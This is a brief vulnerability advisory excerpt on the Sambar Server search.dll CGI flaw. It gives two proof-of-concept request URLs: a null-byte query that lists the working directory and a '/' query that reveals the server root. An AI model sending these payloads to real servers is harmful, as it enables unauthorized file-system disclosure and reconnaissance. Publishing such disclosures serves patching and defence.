Sambar Server Search CGI Vulnerability

The following example was taken from the advisory on this subject which is attached in full in the 'Credit' section of this vulnerability:


All that is needed is a malformed query parameter parsed to the search.dll file
.

http://server-running-sambar.com/search.dll?search?query=%00&logic=AND

.. this will reveal the current working directory contents.


http://server-running-sambar.com/search.dll?search?query=/&logic=AND

.. this will reveal the root dir of the server.
